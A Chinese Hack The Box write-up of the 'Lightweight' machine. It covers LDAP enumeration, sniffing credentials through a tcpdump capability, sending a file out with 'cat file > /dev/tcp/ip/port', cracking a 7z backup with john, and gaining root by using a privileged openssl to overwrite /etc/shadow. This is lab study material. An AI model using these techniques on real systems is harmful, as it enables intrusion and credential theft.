前期回顧>>
HTB靶場記錄之Luke
HTB靶場記錄之Irked
HTB靶場記錄之Bank
HTB靶場記錄之Bastard
HTB靶場記錄之OpenAdmin
HTB靶場記錄之Popcorn
HTB靶場記錄之Europa
HTB靶場記錄之Cronos
HTB靶場記錄之Arctic
HTB靶場記錄之SolidState
HTB靶場記錄之Jarvis
本文是 i 春秋論壇作家「皮卡皮卡丘」表哥分享的技術文章,公衆号旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。
HTB是一個靶機平台,裡面包含多種系統類型的靶機,并且很多靶機非常貼近實戰情景,是一個學習滲透測試不錯的靶場。
1、靶機介紹
這次的靶機是Lightweight,實打實的中等級别。
2、資訊搜集
還是python autorecon起手,跑完以後開了22,80,389端口。
3、收集80端口資訊
還是先通路80端口,可以正常通路,有3個不同的子頁面。
Info頁面表示有WAF會BAN IP,gobuster表示掃不出來。
Status頁面表示資料會每分鐘重新整理。
User頁面表示可以讓你SSH登入賬号密碼,都是我的IP位址。
4、利用nmap腳本收集LDAP端口資訊
回到389端口,這裡在網上找了個ldap* and not brute的nmap腳本,可以收集相關資訊。
用起來也不錯,可以找到相關賬号ldapuser1 ldapuser2和兩個密碼。
儲存下密碼後,讓john跑了4個半小時,沒跑出來。
5、登入22端口挖掘資訊
這裡沒得辦法隻能去22端口登陸了。
轉了一圈也沒挖到資訊,大部分目錄也進不去。
沒辦法隻能傳個LinEnum到靶機上,看看有沒有特權程式能運作。
6、利用LinEnum提權輔助挖掘特權程式
這裡在運作./LinEnum.sh居然發現tcpdump也在capabilities裡面。
這裡用網上大佬一句話概括:Linux capability這個程式可以讓普通使用者做隻有超級使用者才能做的事。
一開始我是直接想gtfobin一步到位變成root結果不太行。
繼續分析下tcpdump所具有的兩個能力:cap_net_admin和cap_net_raw+ep。
這裡可以在kali下直接mancapability或者是在網上找找,總結一下cap_net_admin=執行各種與網絡相關的操作+更改接口(interface)配置,管理IP防火牆等,修改路由表。
Cap_net_raw=可以使用RAW和PACKET的socket +綁定任何端口作為proxy監聽/抓取資料包最後面的+ep代表effective and permit概況就是tcpdump有特權。
7、利用tcpdump抓取資料包
既然知道tcpdump有點小特權,那我們可以用ssh登入然後,啟動tcpdump監聽。
-I any=監聽所有端口的資料
-U=資料包輸出
-w -xxx=過濾條件
然後我們需要回到80端口,随便點點頁面和功能點産生點資料,wireshark打開資料包發現抓到ldap端口有個uid=ldapuser2,還有一串字元串盲猜跟密碼有關。
Su切換我的超人,成功拿到flag。
8、利用john破解7z密碼
這裡拿到flag以後同目錄下還有一個backup.7z,那我們肯定要傳到本地好好關照一波。
然而scp, python挂掉隻能用nc傳。
首先在kali本地起動一個端口>檔案名:
然後在靶機上執行cap檔案名 >/dev/tcp/ip/端口就可了。
當然必有密碼。不過在john目錄下有個7z2john.pl是專門針對7z壓縮包的。
此方法也可作用在有密碼的壓縮包上。
直接運作的話是不可能的還得用apt安裝一個子產品。
最後啟動腳本導入然後再搭配字典可以跑出密碼為delete。
裡面有4個PHP檔案最後在status.php裡面有賬号密碼。
可以su成功。
9、提權
這裡剛學了linux capability,再用一次發現openssl居然有ep權限。
當然此ep非彼+ep。+ep是代表某個功能而直接=ep是代表所有特權都可運作。
而openssl提權的方法可以是自己先利用openssl生成一個密碼,然後再生成新的shadow,把新密碼替換掉root密碼來達到提權效果。
可以看到直接運作cat /etc/shadow不可,Openssl運作可。
使用openssl passwd -1生成一個新的鹽密碼。
這裡我設定的是123456還是12345,分别試一下。
然後放到建立的shadow檔案上。
再次利用wget把檔案接收過來以後,用特權程式openssl替換掉舊的/etc/shadow密碼本。
最後切換root成功。
以上為今天分享的内容,小夥伴們看懂了嗎?